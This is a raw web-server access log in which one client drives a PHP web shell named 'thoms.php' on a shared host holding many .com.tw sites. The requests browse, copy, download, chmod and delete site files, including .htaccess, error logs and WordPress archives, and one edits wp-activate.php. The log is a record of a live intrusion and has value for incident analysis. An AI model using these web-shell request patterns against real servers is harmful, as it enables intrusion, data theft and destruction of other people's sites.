45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18489 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /bestjudy.com.tw/cgi-bin/?ND= HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /bestjudy.com.tw/cgi-bin/?MA= HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /bestjudy.com.tw/cgi-bin/?SA= HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22660 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22661 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Ferror_log&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18492 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11855 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Ferror_log&p= HTTP/1.1" 200 12408 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Ferror_log&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11400 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /thoms.php?edit=wp-activate.php&p=bestjudy.com.tw HTTP/1.1" 200 14588 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18764 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /thoms.php?edit=wp-activate.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 18180 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /bestjudy.com.tw/wp-admin/update-core.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /bestjudy.com.tw/wp-admin/upgrade.php HTTP/1.1" 200 577 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /bestjudy.com.tw/wp-admin/install.php HTTP/1.1" 200 601 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /bestjudy.com.tw/thoms.php?del=mah.php&p= HTTP/1.1" 200 22674 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:20 -0400] "GET /bestjudy.com.tw/wp-admin/import.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?copy=upgrade&p= HTTP/1.1" 200 12385 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16550 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?copy=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 12385 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22674 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18771 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?del=error_log&p= HTTP/1.1" 200 22670 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?p= HTTP/1.1" 200 22657 "https://163.245.207.76/bestjudy.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?copy=error_log-20260912023633.&p= HTTP/1.1" 200 12389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 200 22711 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?copy=cgi-bin&p= HTTP/1.1" 200 12383 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?copy=mah.php&p= HTTP/1.1" 200 12363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?del=wp-content&p= HTTP/1.1" 200 22697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:21 -0400] "GET /bestjudy.com.tw/thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 200 22672 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 200 11445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?del=wp-content-20260912023544&p= HTTP/1.1" 200 22672 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 200 11448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?dl=error_log&p= HTTP/1.1" 200 22671 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12534 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?del=thoms.php&p= HTTP/1.1" 200 22710 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?p=betcity.com.tw HTTP/1.1" 200 20826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?copy=bft.com.tw&p= HTTP/1.1" 200 12381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 200 12380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?p=cgi-bin HTTP/1.1" 200 13333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?copy=.htaccess&p= HTTP/1.1" 200 12363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20738 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=error_log-20260912023633.&p= HTTP/1.1" 200 11448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=thoms.php&p= HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?p= HTTP/1.1" 200 22557 "https://163.245.207.76/bestjudy.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22671 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 22714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 200 11442 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?p=bossini.com.tw HTTP/1.1" 200 20964 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22672 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:22 -0400] "GET /bestjudy.com.tw/thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 200 12384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?dl=.htaccess&p= HTTP/1.1" 200 22674 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?dl=error_log-20260912023633.&p= HTTP/1.1" 200 22672 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 200 22674 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?p= HTTP/1.1" 200 22593 "https://163.245.207.76/bestjudy.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?del=cgi-bin&p= HTTP/1.1" 200 22706 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=.htaccess&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?dl=mah.php&p= HTTP/1.1" 200 22673 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:23 -0400] "GET /bestjudy.com.tw/thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
